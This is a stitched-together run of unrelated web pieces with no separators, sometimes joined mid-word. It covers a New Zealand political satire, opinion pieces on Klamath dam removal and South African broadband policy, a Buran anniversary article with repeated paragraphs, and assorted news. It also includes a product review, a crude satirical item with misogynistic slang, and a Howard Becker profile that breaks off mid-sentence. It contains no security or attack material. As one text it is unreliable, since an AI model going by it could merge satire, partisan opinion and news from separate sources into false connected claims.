Smith did not come into the world in the usual way. He was accidentally created in a potter’s shed by a ponytailed Motueka hippie, Harmony Moondust.
“I was just mucking around,” Moondust said. “I wanted some kind of Halloween thing to scare the children, so I filled a balloon with angry bees, glued straw to the top, and tied it to the neck of scarecrow.”
He was looking for some dungarees when a friend dropped by with a righteous selection of mushrooms and pills. The next four days were a blur.
They had no recollection at all of what they did, or how they did it, but when the walls and ceilings eventually stopped moving, the scarecrow was alive and mowing the front paddock.
It was something to see. The noisier the lawnmower got, the angrier the bees became, Moondust said. “No joke, we thought his face was going to pop.”
They called him Scary Nick. “He was quite handy around the place, but that temper on him, man. With the angry bees and everything, there wasn’t enough weed in the world to keep you calm when he got up in your face.”
Harmony decided to pack Scary Nick off to university. He pinned an explanatory ticket to his shirt and told him to find the engineering school. “They don’t mind if you’re a bit of a hard case, the engineers,” he said, as he gently but firmly pushed him onto the front porch.
That was the last he thought about his strange creation until he picked up a newspaper many years later and discovered the scarecrow full of angry bees had become a cabinet minister.
Scary Nick was an easy guy to get along with as long as you agreed that he was right about everything. If you didn’t, the bees inside the balloon could get very, very stirred up. He quarrelled with everybody: constituents; media; MPs; baristas; the popcorn guy at Reading cinemas.
He was put in charge of ACC, which he discovered to his horror was in imminent danger of collapse. He was put in charge of the environment, which he discovered was in imminent danger of collapse. He was put in charge of housing, which also turned out to be in imminent danger of collapse.
No matter what he took over, it would never take long before it would look as though things really were a complete shambles. To his lasting annoyance, he would always be relieved of his portfolio just before things came right.
He eventually came to the conclusion that people were hopelessly stupid. They could not be helped and if you tried you got no thanks for it. Honestly, what was the point?
He quit politics and moved to the place that felt most like home, somewhere he could get away from all the buzzing in his head. Harmony Moondust looked over his fence one afternoon, saw a familiar red-faced figure trying to put up a yurt and brawling with the poles, and decided it was time to move to the North Island.
Eight months later when the yurt was eventually upright, Scary Nick pulled the flap closed and spent the next five years reading every self-help book ever published, tossing each one on the fire afterwards with a contemptuous snort. He could do vastly better. This eventually yielded his minor bestseller: I’m Sorted, Go Stuff Yourself.
The critics were not kind, but prime minister Paula Bennett said she had found it “had quite a lot of good ideas, and words and stuff that make you think”. Scary Nick said he supposed that was a nice thing to say, but he wondered how bloody far she’d have got without someone to read it to her.
People were strange, though. After offering Bennett a friendly, light-hearted olive branch like that, he’d assumed an invitation to return to cabinet would be a mere formality, but it never, ever came. It really just went to show, prime ministers could be unbelievably stupid.
This story first appeared in the June 2015 issue of Metro. Illustration by Daron Parton.Environmentalists have persuaded the Department of the Interior to remove four hydroelectric dams on the Klamath River. These dams not only provide clean, green energy to the Klamath community, they sustain area ranches and farms with continual access to water. An environmentalist’s dream, right?
But the fish! We must always put fish ahead of people!
It seems that once upon a time, salmon would migrate upstream on the Klamath River to spawn, a process that has become interrupted by the dams. For several decades, ranching and farming families have relied upon the steady stream of not only water but also renewable energy provided by the dams. Destroying the dams would destroy these people’s livelihoods.
Grace Bennett, the board chair for the Siskiyou County Board of Supervisors, says:
With the dams gone, it will impact our area … because there won’t be enough water in our river. It will not be a matter of when you irrigate, or how much you irrigate; it’ll be a matter of can you irrigate? Can you do these things? And if we don’t have the dams in, to give the water for the fish that return, and we’re taking that water from our farmers and ranchers, we won’t have any farmers and ranchers.
What is the government’s obsession with prioritizing fish over people? This isn’t the first time we’ve seen this sort of thing in California. The Delta Smelt has destroyed much of the farming community in central California, because the ugly bugger ended up on the endangered species list and politicians decided to cut off the water from the San Joaquin Valley to the farmlands in order to ‘save’ it.
Now the salmon need saving too. Except maybe they don’t. It’s hard to tell, with all the twisted ‘evidence’ going into the decision-making process over the removal of the dams. Professor Paul Houser was a science advisor to the Department of the Interior’s Bureau of Reclamation before he was fired for alleging “that the Obama administration intentionally falsified scientific fact in a proposal for dam removal in the Klamath River.”
Debbie Bacigalupi, a 5th generation rancher whose family depends on the dams to sustain their ranch, says, “The reason they want to take out the dams, the Klamath River dams, is because they claim, the government and special interest groups claim that the Coho salmon is an endangered species and that it’s indigenous, even though we have Department of Fish and Game records saying that the fish is non-native. It doesn’t even belong here.”
So much for progress.On the 25th anniversary of the historic flight of the Soviet space shuttle Buran, Russia’s Roscosmos space agency has formed a working group to prepare “within weeks” a roadmap for the revival of the Energia super-heavy booster rocket.
The group led by Oleg Ostapenko, the new head of Roscosmos Federal Space Agency, is set to draw up proposals on the design of a super-heavy launch vehicle capable of delivering up to 100 tonnes of payload to the baseline orbit, former Soviet minister of general machine building, Oleg Baklanov, said on Friday.
"You have assumed the responsibility and dared to head the group, which is supposed to find an answer to the question how we can regain the position we demonstrated to the world with the launch of a 100-tonne spacecraft [Buran in 1988] within a few weeks," the ex-minister told Ostapenko at the event dedicated to the 25th anniversary of the flight of the Buran shuttle spacecraft.
The new carrier rocket Angara is set to become the base for the ambitious project that could bring Russia back to its heyday of space exploration. It could be launched from the Vostochny Cosmodrome which is now being constructed in Russia’s Far East, and will replace Kazakhstan’s Baikonur as Russia’s main launchpad.
The 1988 launch of the Energia super-heavy rocket carrying the Buran space shuttle proved the rocket was capable of delivering 100 tonnes into orbit. That was five times more than the Proton-M rocket with a 20-tonne payload, thus making it the most powerful Soviet/Russian booster rocket ever developed.
As the International Space Station is scheduled to be taken out of service around 2020, ex-minister Baklanov explained that such a powerful rocket would allow the construction of a new orbital station “larger in its weight and dimensions.” Also, a booster similar to the Soviet Energia would be indispensable for “exploring outer space in a wise manner, working in shifts on Mars, the Moon and so on,” he added.
At the same media conference, president of the Energia Rocket and Space Corporation Vitaly Lopota announced that Russia will soon need super-heavy rockets to create a shield against possible future space weapons - which means deploying into orbit massive communications satellites and electronic warfare platforms.
‘Nothing better has been created’
On the 25th anniversary of the Buran flight, Ostapenko acknowledged that the Soviet Union’s achievements in space exploration remain an example for today’s research.
“Human ingenuity created the Energia-Buran system 25 years ago,” Ostapenko told the audience. “I am confident that events comparable by their scale are in store for us,” he said.
In his speech, ex-minister Baklanov claimed that “nothing new has been designed” in the 25 years which have passed since the creation of the Energia-Buran system. He warned that “a point of no return is very close,” and said there are only years left to recuperate the space industry to the previous level and keep the groundwork.
“We have a colossal amount of work to do,” Ostapenko said, pointing out that only the experience of previous generations of scientists could ensure success.
“Our country has got huge potential; all we need to do is let the experienced professionals do their job the best way to ensure their self-actualization. I know we can do it. We’ve got strong support from the government, we’ve got thorough understanding of the tasks lying ahead,” Ostapenko said.
Comparable to the US Space Shuttle, Buran completed only one unmanned spaceflight in 1988, as the Buran program was scrapped in 1993 following the collapse of the Soviet Union and lack of funding.
Soviet shuttle ahead of its time
The Soviet Union’s Energia/Buran exceeded the American space shuttle program by practically all capabilities, according to a report prepared by experts of the All-Russian Research Institute of Aviation Materials. The analysis is dedicated to the 25th anniversary of Buran’s only performed launch into space.
Buran could stay in orbit for 30 days, while the American shuttle had a 15-day time limit. It could deliver into orbit 30 tonnes of cargo, compared to the US shuttle’s 24 tonnes of cargo. It could carry a crew of 10 cosmonauts, while the American shuttle could carry seven astronauts. Preparation for the Energia/Buran launch at Baikonur Cosmodrome only took 15 days. However, it took one month of preparations before the US shuttle was launched from Cape Canaveral.
The Energia rocket booster could be used to launch various payloads into orbit, whereas the American shuttle’s booster was one-task. A year and a half before the Buran launch, Energia was launched with a full-scale mock-up of the Skif-DM orbital combat laser platform weighing 77 tonnes, measuring 37 meters long, and over four meters in diameter. Though the mock-up failed to reach the desired orbit and fell into the Pacific, the Energia booster did its job fine, delivering the huge space platform into intermediate orbit, 110 kilometers above the earth’s surface.
But the most important difference from the American model was that the Soviet spaceship could perform the flight and landing in totally automatic mode, which it brilliantly demonstrated on November 15, 1988.
Buran’s American counterpart used to land with switched-off engines, meaning it could make only one landing attempt. The Soviet spacecraft could take several tries if needed.
When Buran approached Baikonur Cosmodrome and started landing in 1988, its sensors registered too strong side winds and the robotic system sent the huge machine for another rectangular traffic pattern approach, successfully landing the spacecraft on a second try.
The Buran shuttle was designed to perform 100 flights to space, while its engines were ready to do 66 flights without replacement. During its flight, it lost just eight of its unique thermal-insulation tiles out of 38,800.
The Energia/Buran program, which cost 16.5 billion Soviet rubles, lasted 18 years and united over 1,200 industrial sites throughout the Soviet Union.
Thirty-nine principally new materials and around 230 absolutely new technologies were developed during Buran’s creation. Most of them are actively used in Russia’s aeronautical and space industries today.
Watch the footage of Buran’s historic landing:
But the most important difference from the American model was that the Soviet spaceship could perform the flight and landing in totally automatic mode, which it brilliantly demonstrated on November 15, 1988.
Buran’s American counterpart used to land with switched-off engines, meaning it could make only one landing attempt. The Soviet spacecraft could take several tries if needed.
When Buran approached Baikonur Cosmodrome and started landing in 1988, its sensors registered too strong side winds and the robotic system sent the huge machine for another rectangular traffic pattern approach, successfully landing the spacecraft on a second try.
The Buran shuttle was designed to perform 100 flights to space, while its engines were ready to do 66 flights without replacement. During its flight, it lost just eight of its unique thermal-insulation tiles out of 38,800.
The Energia/Buran program, which cost 16.5 billion Soviet rubles, lasted 18 years and united over 1,200 industrial sites throughout the Soviet Union.
Thirty-nine principally new materials and around 230 absolutely new technologies were developed during Buran’s creation. Most of them are actively used in Russia’s aeronautical and space industries today.Invasive surgical techniques - cutting through the breastbone for open heart surgery or making a large incision to inspect an abdominal tumor - allow physicians to effectively treat disease but can lead to sometimes serious complications and dramatically slow healing for the patient.
Scientists instead want to deploy dozens, or even thousands of tiny robots to travel the body's venous system as they deliver drugs or a self-assembled interventional tool. Researchers from the University of Houston and Houston Methodist Hospital are developing control algorithms, imaging technology, ultrafast computational methods and human-machine immersion methods to harness the force from a magnetic resonance imaging (MRI) scanner to both image and steer millimeter-sized robots through the body.
"We want to move from science fiction to science feasibility," said Aaron Becker, assistant professor of electrical and computer engineering at UH and principal investigator for a $608,000 Synergy Award from the National Science Foundation to develop prototypes for testing.
To tackle this unprecedented challenge, the award involves two additional investigators: Nikolaos Tsekos, associate professor of computer science and director of the Medical Robotics Laboratory at UH, who has expertise in MRI and computational methods, and Dipan J. Shah, a cardiologist and director of cardiovascular MRI at Houston Methodist Hospital, who brings expertise in clinical MRI and focusing the effort to find solutions that are clinically necessary and valuable.
While MRI has traditionally been used for noninvasive diagnosis, the next frontier is its use as a tool to offer noninvasive or minimally invasive treatment.
The milli-robot development and control work is an outgrowth of Becker's previous research, which was funded in part with an NSF CAREER award and demonstrated the theory behind the proposal. This grant, awarded through NSF's Cyber-Physical Systems (CPS) program, will fund work to build a prototype suitable for animal testing. The MRI control and computational methods follow a previous CPS award in image-guided robotic surgeries led by Tsekos and Shah.
Their current models are up to two centimeters; Becker said the goal is robots that range from 0.5 millimeters to two millimeters. The average human hair, in comparison, is about 0.08 millimeters wide.
MRI provides enough magnetic force to steer the robots through the body's blood vessels but can't penetrate tumors or other tissue. This project is working with two designs, both powered by the MRI scanner, to address that problem, one based on the principle of mechanical resonance and the second modeled after a self-assembling surgical tool, a Gauss gun.
A key issue is real-time control, Becker said, noting that blood vessels move around in the body, making it crucial to be able to see both the anatomy and the robot as it moves in order to keep it moving correctly. Even the fastest current MRI scans are too slow for such control and have a time lag before the information is available. Developing such a system is a multidisciplinary task that must seamlessly integrate sensing with the MRI scanner, milli-robot control and close the loop by controlling the scanner to drive the milli-robots.
Ultimately, Becker said, the goal is to use the power of an MRI to steer large numbers of robots throughout the body. While one milli-robot could target a single lesion, delivering chemotherapy or another intervention, that isn't practical for a late-stage cancer, for example.
"Targeting delivery with dozens of microsurgeons is my goal," he said. In this case, those "microsurgeons" would be robots, guided by a physician.MARK WARBURTON has made one change to his side to take on Hamilton Accies at New Douglas Park this evening. From the side which defeated Hearts at Ibrox Stadium last week, out goes Kenny Miller with Martyn Waghorn coming in to take his place.
The striker has impressed in recent weeks coming off the bench and is handed his starting chance on the artificial surface here in South Lanarkshire this evening to show what he can do.
That means, it’s an unchanged back five of Wes Foderingham in goals with Lee Hodson at right back, Rob Kiernan and Danny Wilson in the centre of defence while captain Lee Wallace retains his left-back berth.
The midfield three is also unchanged, with James Tavernier sticking to a rather different role for him and he is joined by the familiar duo of Jason Holt and Andy Halliday. Up front, Waghorn joins Barrie McKay and Joe Garner.
The substitutes bench features Matt Gilks, Joe Dodoo, Clint Hill, Harry Forrester, Michael O’Halloran, Harry Forrester Philippe Senderos and the aforementioned Miller.
Tonight’s game is being shown live on RangersTV.tv outside the UK and Ireland. Join regular commentator Tom Miller and former Gers striker Andy Little for full coverage.
RANGERS: Foderingham; Hodson, Kiernan, Wilson, Wallace; Tavernier, Holt, Halliday; McKay, Garner, Waghorn.
SUBS: Gilks, Dodoo, Hill, Forrester, O’Halloran, Forrester, Senderos, Miller.Southern Company and Mississippi Power today announced the company is immediately suspending start-up and operations activities involving the lignite gasification portion of the Kemper County energy facility. The combined cycle plant has been serving customers with reliable and affordable electricity for almost three years. The facility will continue to operate using natural gas pending the Mississippi Public Service Commission’s decision on future operations.
This action is being taken to preserve the safety and health of the workforce and safety of the facility, while still retaining the necessary workforce to operate the combined cycle power plant.
“We are committed to ensuring the ongoing focus and safety of employees while we consider the future of the project, including any possible actions that may be taken by the Commission,” said Southern Company Chairman, President and CEO Thomas A. Fanning. “We believe this decision is in the best interests of our employees, customers, investors and all other stakeholders.”
Southern Company and Mississippi Power believe this is the appropriate step to manage costs given the economics of the project and the Commission’s intent to establish a settlement docket to address Kemper-related matters including the future operation of the gasifier portion of the project.
“I am extremely proud of the thousands of our employees and the contractors who have helped construct Kemper,” said Mississippi Power Chairman, President and CEO Anthony L. Wilson. “The commitment of these individuals to their jobs, the challenges they have overcome and their dedication to our customers has been outstanding. The customer is at the center of everything that we do. We appreciate the communities we are privileged to serve and the local leaders who continue to support our company and our employees throughout this process.”
The company will fully participate in the proposed settlement docket to be established by the Commission on July 6. The company will make any future announcements as to the status of the project based on the outcome of that process or future Commission action.Jason Kenney says his United Conservative Party is on track to defeat the NDP's "job-killing, socialist government" in Alberta's 2019 election, after a resounding victory in a provincial byelection gives him a legislative seat to directly take on Premier Rachel Notley.
The former federal cabinet minister defeated two other provincial party leaders and four other candidates in the Calgary-Lougheed byelection Thursday night, taking more than 70 per cent of the vote.
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them home, using a special scheme.
In a joint statement on Saturday (Jul 23), Singapore's Ministry of Finance (MOF) and the Monetary Authority of Singapore (MAS) said the claims of policies being implemented in Singapore to "thwart" Indonesia's tax amnesty programme were untrue.
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“Singapore has not cut tax rates, nor changed our policies in response to Indonesia’s Tax Amnesty Programme," the statement said.
"We subscribe to internationally agreed standards for combating money laundering and for exchange of information. If there is any case of suspected cross-border tax evasion, concerned authorities can approach Singapore – we have assisted and will continue to assist in line with the international standards."
"We have no interest in sheltering illicit tax monies," a statement from the Singaporean Embassy in Jakarta added.
On Thursday, Indonesian Vice-President Jusuf Kalla was quoted in local media as saying that every country wanted to survive, and the claims being circulated accusing Singaporean banks only "proves what people always say that most of the money stashed in Singapore comes from Indonesia".
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Meanwhile, Finance Minister Bambang Brodjonegoro reportedly said that Singapore's rumoured bank scheme was a move to "challenge" Indonesia, but he was confident that Indonesian taxpayers would repatriate their assets back to their own country.
He added that he is not afraid of the move by Singaporean banks, reportedly telling Indonesian media on Tuesday that he is “not afraid of Singapore which is just a small country”. He had previously said the amnesty is expected to draw about 165 trillion rupiah (S$16.9 billion) for the government.
Indonesia kicked off its tax amnesty programme on Jul 18. It grants special personal income tax rates to tax evaders who declare their past earnings between this month and next March. People and companies that declare their earnings and pay the special taxes will not be penalised for having failed to declare them before.
SINGAPORE BANKS SUPPORT TAX AMNESTY PROGRAMME: PRIVATE BANKING INDUSTRY GROUP
“Singapore banks support this tax amnesty programme from Indonesia,” said Ms Tan Su Shan, co-chair of MAS's Private Banking Industry Group. “Tax amnesty programmes can be a useful tool for individuals to regularise their tax affairs with their respective tax authorities.”
She added that in the case of the Indonesian tax amnesty programme, Indonesians should seek proper tax advice and determine if and to what extent the programme applies to them, based on the details that have been announced.
“Banks in Singapore will provide the necessary support for their clients who participate in the programme,” she added.
SINGAPORE SMALL, BUT RESPECTED AND SUCCESSFUL: SHANMUGAM
In a Facebook post on Saturday (Jul 23), Singapore’s Law and Home Affairs Minister K Shanmugam said he does not understand why there is “this constant attempt to put us down; and taunting us that we are small.”
His remarks came after Indonesia’s Finance Minister was quoted saying to Indonesian media that he was “not afraid of Singapore which is just a small country”.
Mr Shanmugam wrote that Singapore is good friends with Indonesia in the last 50 years. Both countries have cooperated on many matters, and both countries benefit from these good relations. “But every now and then, someone in Indonesia will tell us that we should know our place, a little red dot,” he wrote.
“Yes, we are a little red dot. We may be small. But we are respected and successful. And our people lead meaningful lives. And we don’t live in fear of anyone else,” he added.I received the product ahead of schedule and I know it is a small item (A toy) and not something that was anxiously anticipated. However, it is a toy that my dog (Chihuahua) enjoys and is a replacement for the one purchased 18 months ago (Had to be retired). The red angry bird is Bruno's favorite toy. He drags it around everywhere with him, even to bed. After 18 months the original bird needed some relief. Nose gone, comb ragged and had been in the washer numerous times, it showed lots of wear. Well yesterday the "New" bird arrived and was presented to Bruno. he pulled it from the box and ran around, flipping it in the air and rough housing with it with the e other dogs. After considerable play he sat down with it on his pillow. Nice, he likes it, now the old bird can retire (Thrown away). When I was getting ready for bed I went to get Bruno and beside him on his pillow sits the new bird along with the old, worn-out angry bird. Hating for him to part with his old friend so abruptly, I let him bring both birds to bed. Snuggled between his new friend and old, Bruno slept soundly through the night. The investment was well worth it and the toy will last another 18 months. Then we will have 3 red "Angry Birds". Great toy for Chihuahuas. mThe main thing you need to know about my iPad right now is that I'm not sure where it is.
It's definitely at home, because I've stopped bringing it to work most days. I think it's next to the bed, because that's where I've been using it the most lately, to read for a couple of minutes until I get sleepy.
But I'm not positive. Because I haven't been using it that much.
The truth is, my iPad -- once the star gadget in my life -- now mostly fills in off the bench.
I used to make time just to use the iPad, because it was so fun and so new. I don't really do that anymore.
The novelty has worn off. Baseball has been in the offseason, so I haven't been streaming Cubs games to the iPad at my desk every day. And, you see, there's a new toy in my life -- a MacBook Air -- that I've been getting a lot more utility out of.
I still think the tablet is the future of the personal computer, especially for non-technical, mainstream users. (The iPad has certainly been a huge commercial hit already.) And I fully expect the iPad to get better, cheaper, more powerful, more useful, and more popular over time.
But for now, I haven't really been using it much.Share 0 SHARES
A 14-year-old pupil competing in this year’s BT Young Scientist competition has emerged as an early favourite for the overall crown after extensive research in a field that interests him greatly.
Niall Toner, a Cork native, has like so many pupils used experiences in his own life to inform what project he would attempt for this his second year at the competition held in the RDS.
The issue of some young women’s difficulty with remaining upright when carrying out romantic dealings with Toner has borne fruitful scientific exploration for the young scientist.
“Ah, stop, I had two young ones on the go at once, and when they found out they were trippin’ left, right and centre and so I sort of wanted to get to the bottom of it using me science,” Toner confirmed.
“Niall has shown great interest in this project, and he has had multiple bitches trippin’ on separate occasions and was none the wiser as to the causality of it all,” Toner’s proud teacher Eva Nelligan told WWN.
Toner discovered that depending on the severity of his actions, and behaviours towards his love interests, they would trip in varying ways.
“Several female test subjects reacted differently to myself not texting back at all, and then zero replies to snapchats elicited increased acceleration at the point of trippin’,” the child genius explained.
While Toner’s conclusions are still a bit muddied, the 14-year-old has garnered huge attention for this breakthrough research in an understudied area.Unsplash
The next time you sit down to order a bourbon at your local gentrified cocktail bar, likely choosing from a variety of craft distilleries and getting suggestions and tasting notes from your bartender along the way, stop to consider that it hasn’t always been this way.
“When I was 25 and ordered Wild Turkey 101, people looked at you like you were a roughneck who was gonna start a fight,” says Wild Turkey’s now grey-haired master distiller, Eddie Russell.
Having started as a union man working in Turkey’s distillery (where his father, Jimmy Russell, was the master distiller, and now, in his mid-80s, still hasn’t fully retired), Russell has been around long enough to remember the lean years, when clear liquors ruled the market and consumers were loathe to drink their “grandad’s bourbon.” If you fancied yourself sophisticated and worldy in the 1980s, you probably drank vodka, like James Bond. At the time, bourbon was marketed to a narrow demographic of early to middle-aged Southern men, Russell says. Good ol’ boys, basically.
These days, Russell is far from the only Kentuckian to note how things have changed, and you don’t have to be staring at a bar menu to notice. Business is booming at the Vendome Copper and Brass Works, where they make custom copper stills for distilleries. They’ve been open since 1903, but in the past eight years they’ve been producing 40-50 stills a year. If that doesn’t sound like a lot (keep in mind Vendome fabricates custom copper stills one at a time), consider that even a giant like Wild Turkey, owned by the Campari Group, only has one still. Consider that, according to Vendome, there’s currently “no market for used stills.” Which is to say, the stills out there are mostly all spoken for.
Vince Mancini
On a cool weekday morning at the Vendome factory in Louisville’s Butchertown neighborhood on the south bank of the Ohio river, workers are doing everything from welding, drilling, shaping, polishing, and etching, and they seem pretty committed. There’s a guy in denim overalls welding the seam on a big copper cylinder who rolls up a sleeve of his thermal to show me a tattoo. It’s a still, covering his whole right forearm. It’s easy to see why this kind of hands-on work looks attractive to laptop monkeys like myself. No one ever gets a spreadsheet tattooed on his arm.
As I walk through the factory, a buzzing hive full of polished copper where robotic drills work alongside human welders, drillers, and shapers, I notice all the workers are wearing the same type of hat — a sort of backwards baseball cap with a small brim, somewhere between skull cap and baseball hat.
“What do you call those hats?” I ask, raising my voice to be heard over the noise. Two guys working on a still door with welding torches pause their work and look at each other quizzically.
“I don’t know… I think they’re just called welding hats?” the first guy says. Cool, cool. I carefully scrawl out W-E-L-D-I-N-G H-A-T-S in my notebook, nodding thoughtfully.McCain mocks Cruz claim on guns
Running for president in New Hampshire over the weekend, Sen. Ted Cruz told a group of gun owners he’s “pressing” Sen. John McCain to convene hearings on whether soldiers should be allowed to carry concealed guns on military bases.
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McCain (R-Ariz.) says the request is news to him.
“I was fascinated to hear that because I haven’t heard a thing about it from him. Nor has my staff heard from his staff,” McCain said of Cruz (R-Texas). “It came as a complete surprise to me that he had been pressing me. Maybe it was some medium that I’m not familiar with.”
Cruz told a crowd of gun owners in Litchfield, New Hampshire, that he was leaning on McCain, the Armed Services Committee chairman, to have “a public discussion about why we’re denying our soldiers the ability to exercise their Second Amendment rights.”
Asked about the status of those hearings, McCain went to great lengths to ridicule Cruz for suggesting the two had discussed the issue. He joked that perhaps Cruz was bouncing messages off the “ozone layer.”
“Maybe it was through, you know, hand telegraph. Maybe sign language,” McCain said. “Ask him how he communicated with me because I’d be very interested. Because who knows what I’m missing.”
Cruz’s office said that the Texas senator had raised the issue in hearings last year and sent a letter to former Senate Armed Services Chairman Carl Levin (D-Mich.) requesting the committee hear from Defense Department and outside experts on the subject of allowing armed soldiers on military bases. Cruz is now working on a similar letter to McCain, who became chairman at the start of the year.
“Senator Cruz has been discussing this issue for a long time and he looks forward to continuing to raise it in the Senate Armed Services Committee where he serves with Chairman McCain,” a spokeswoman said.
There’s little love lost between the two, given that McCain has denounced Cruz as one of the Senate’s “wacko birds” and Cruz has suggested that McCain lost the presidential race in 2008 because he wasn’t conservative enough. While Cruz pursues the Republican nomination along with Sens. Rand Paul of Kentucky and Marco Rubio of Florida, McCain is encouraging his friend, Sen. Lindsey Graham of South Carolina, to run for the White House.
The two disagree on guns as well. While Cruz led the charge to defeat a background-checks bill in 2013, McCain voted for that bipartisan proposal that failed by a 54-46 vote. In New Hampshire, Cruz said he was eager to discuss the possibility of allowing soldiers to arm themselves on military installations to better protect themselves, something top military brass advise against.
On Monday, McCain didn’t rule out such hearings — he just seemed surprised that Cruz had gone public with a conversation that McCain says never happened.
“I’ll be glad to discuss the issue and see if we need hearings,” McCain said.If you want to see what a completely useless government department looks like, look no further than South Africa’s Department of Communications.
If it was not for the department, we would all have enjoyed faster, cheaper, and more pervasive broadband years ago.
The ANC-government-run department has been at the forefront of stifling telecoms innovation and ensuring we lag behind the rest of the world.
It started before the ANC took power, when it threatened to revoke the cellular licences granted to Vodacom and MTN.
While this did not happen, the government did provide Telkom with a decade-long monopoly in the fixed-line market.
When self-provisioning was set to kick in, former Minister of Communications Ivy Matsepe-Casaburri would have nothing of it.
It took a legal battle by Altech Autopage Cellular to force the government to allow companies to build their own networks.
It did not stop there. Matsepe-Casaburri announced in 2007 that all undersea cables landing in South Africa must be majority-owned by SA companies.
This would have blocked the SEACOM and EASSy cables, and protected Telkom’s SAT3/SAFE monopoly on international bandwidth.
This failed, SEACOM landed, and international bandwidth prices plummeted.
Digital Migration Mess
These actions, however stupid, can at least be attributed to a misguided belief that the state should do everything for its citizens and make money from it.
But when it comes to the government’s handling of digital migration – and handing spectrum to operators – its incompetence is staggering.
A process which should have been completed in 2011 is still dragging on, with no end in sight.
The breakdown below clearly shows how useless the South African government has been over the past 16 years:
2001 – The Minister appoints the Digital Broadcasting Advisory Board. It investigates digital terrestrial TV standards.
– The Minister appoints the Digital Broadcasting Advisory Board. It investigates digital terrestrial TV standards. 2004 – Minister Ivy Matsepe-Casaburri said they will pilot a policy framework for digital migration.
– Minister Ivy Matsepe-Casaburri said they will pilot a policy framework for digital migration. 2006 – Matsepe-Casaburri said the Digital Migration Strategy is a priority area and will be concluded later that year.
– Matsepe-Casaburri said the Digital Migration Strategy is a priority area and will be concluded later that year. 2006 – SA commits to meet an International Telecommunication Union (ITU) June 2015 deadline to switch to digital terrestrial TV broadcasting.
– SA commits to meet an International Telecommunication Union (ITU) June 2015 deadline to switch to digital terrestrial TV broadcasting. 2007 – Cabinet approves the digital signal be switched on in November 2008. The analogue signal should be switched off in November 2011.
– Cabinet approves the digital signal be switched on in November 2008. The analogue signal should be switched off in November 2011. 2009 – Minister Siphiwe Nyanda said progress has been made to meet the November 2011 deadline.
– Minister Siphiwe Nyanda said progress has been made to meet the November 2011 deadline. 2010 – Trouble starts as the deadline approaches. Nyanda disbands the Digital Dzonga due to potential conflict of interest with council members.
– Trouble starts as the deadline approaches. Nyanda disbands the Digital Dzonga due to potential conflict of interest with council members. 2011 – The analogue signal switch-off deadline is missed. December 2013 is the new deadline.
– The analogue signal switch-off deadline is missed. December 2013 is the new deadline. 2013 – The December 2013 deadline is missed. The ITU’s June 2015 date is the new deadline.
– The December 2013 deadline is missed. The ITU’s June 2015 date is the new deadline. 2015 – SA misses the June 2015 deadline.
– SA misses the June 2015 deadline. 2016 – No clear guidance on when the analogue signal will be switched off.
– No clear guidance on when the analogue signal will be switched off. 2017 – The Department tells Parliament it could miss the new 2018 deadline for digital migration due to “supply chain management irregularities”.
The digital migration process is an absolute mess, delaying the availability of faster and cheaper broadband in South Africa.
The reasons for the mess are numerous, including:
Changing the communications minister often.
the communications minister often. Employing incompetent people in the department.
Consistent problems and political in-fighting.
A major contributor to the mess was President Jacob Zuma replacing the most competent communications minister we’ve had – Yunus Carrim – in 2014.
If you ask the Department of Communications about the delay, it will tell you “supply chain management irregularities” and “collusion issues” are to blame.
Whatever the reason, this utter mess is a case study on the effects of an incompetent government.
To rub salt in the wounds, the latest ICT Policy White Paper proposes that all unassigned high-demand spectrum be set aside for a Wireless Open Access Network.
This half-baked plan will further delay the assigning of new spectrum to mobile operators.
The shortage of spectrum means that the roll-out of LTE and LTE-A is held back, and the cost of providing good coverage and service levels remains high.
This is an opinion piece.Americans have often had strange and serendipitous careers in Paris, from Thomas Evans, the Philadelphia dentist who cured Emperor Louis-Napoleon of a toothache and became an indispensable ornament of the Imperial court, to those African-American jazzmen, like the great soprano-sax player Sidney Bechet, whose careers were revived, and reputations nurtured, in France in ways they never could have been in America. But few have known an odder trajectory than Howie—“Only my mother ever called me Howard”—Becker. Howard S. Becker, to give him his full, honorary-degree name—he has six—has been a major figure in American sociology for more than sixty years. Now a brisk eighty-six, he remains most famous for the studies collected in his book “Outsiders,” of 1963, which transformed sociologists’ ideas of what it means to be a “deviant.” In America’s academic precincts, he is often seen as a sort of Richard Feynman of the social sciences, notable for his street smarts, his informal manner, and his breezy, pungent prose style—a Northwestern professor who was just as at home playing piano in saloons. (Indeed, the observations that put him on the path to academic fame, on the subculture of marijuana smokers, began while he was playing jazz piano in Chicago strip joints. “Not burlesque houses,” he says. “These were strip joints.”) Yet it is his position in France that is truly astonishing. Two critical biographies of Becker have been published in French in the past decade, and “Beckerisme” has become an ideology to conjure with. YouTube videos capture him speaking heavily accented Chicago French to student audiences, and he now spends a good part of every year in Paris, giving seminars and holding court. His work is required reading in many French universities, even though it seems to be a model of American pragmatism, preferring narrow-seeming “How?” and “Who, exactly?” questions to the deeper “Why?” and “What?” supposedly favored by French theory. That may be exactly its appeal, though: for the French, Becker seems to combine three highly American elements—jazz, Chicago, and the exotic beauties of empiricism. This summer, Becker published a summing up of his life’s method and beliefs, called “What About Mozart? What About Murder?” (The title refers to the two caveats or complaints most often directed against his kind of sociology’s equable “relativism”: how can you study music as a mere social artifact—what about Mozart? How can you consider criminal justice a mutable convention—what about Murder?) The book is both a jocular personal testament of faith and a window into Becker’s beliefs. His accomplishment is hard to summarize in a sentence or catchphrase, since he’s resolutely anti-theoretical and suspicious of “models” that are too neat. He wants a sociology that observes the way people act around each other as they really do, without expectations about how they ought to. Over the decades, this has led him to do close, almost novelistic studies of jazz musicians, medical students, painters, and photographers. Among sociologists, he’s most famous for having made sociology’s previous theories of “deviance” look deviant: studying obscure or out groups, he has shown that the way their members act together follows the same kinds of rules that everyone else follows. Some people may march to a different drummer—but, when they do, they’re usually all marching in rhythm, too. As one of his students has written, “Rather than asking the less than fruitful question of why people break rules, Becker came to focus on how people go through an identifiable process to choose to break rules.” A Beckerian analysis of a social “world” asks how, in any culture or subculture, someone comes to be called an insider while someone else gets pushed outside. Simple as it is, this approach has proved immensely influential in the study of everything from drug addiction to queer theory. Basically, Becker believes that Yogi Berra was right: you really can observe the most by watching. Heather Love, a professor of English at Penn who specializes in gender and sexuality studies, points out that it shares “many of the same concerns, about institutions, power, the dynamics of social relations” as contemporary post-structuralist research, “but all in this kind of homegrown, ordinary language, a ‘just the facts, ma’am’ style that has the appeal of American noir and hardboiled fiction.” Not long ago, in an apartment that he and his wife, Dianne Hagaman, had taken for the fall in the Fifth Arrondissement—the neighborhood of Paris that clusters around the old Sorbonne—he sat and talked about his life’s work and its apotheosis in Paris, almost as a spectator of his own surprising career. As long-faced and dry-eyed as a stoical silent comedian, 